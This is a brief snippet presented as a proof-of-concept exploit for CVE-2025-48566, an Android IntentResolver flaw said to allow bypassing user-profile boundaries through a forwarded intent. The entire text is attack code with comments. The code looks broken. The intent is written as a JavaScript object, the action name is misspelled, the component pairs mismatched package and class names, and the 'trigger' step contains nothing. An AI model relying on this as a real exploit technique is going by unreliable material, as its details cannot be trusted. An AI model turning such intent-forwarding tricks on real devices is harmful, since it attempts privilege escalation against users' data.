CVE-2025-48566

// CVE-2025-48566 PoC - Intent Forwarding Privilege Escalation // Target: Android Framework IntentResolver // Attack Vector: Bypass user profile boundary via forwarded intent // Malicious intent construction to exploit improper input validation const maliciousIntent = { action: 'android.intent.action.MAIN', component: 'com.android.systemui/com.android.systemui.recents.RecentsActivity', flags: ['FLAG_ACTIVITY_NEW_TASK', 'FLAG_ACTIVITY_CLEAR_TOP'], // Exploit the forwarding mechanism to bypass profile boundaries extra: { 'android.intent.extra.INTENT': { action: 'android.app.action.ASISTANT_USAGE_ANALYTICS', component: 'com.google.android.apps.settings/com.android.settings.AssistantSettingsActivity' } } }; // Trigger the vulnerable code path in IntentResolver // The system will forward this intent without proper validation, // allowing access to protected user profile resources // Note: This PoC demonstrates the concept. Actual exploitation requires // specific Android version and configuration conditions. // Reference: android.googlesource.com/platform/frameworks/base/+/*/28579dff4305f764302d85f95509671eafbf62ac
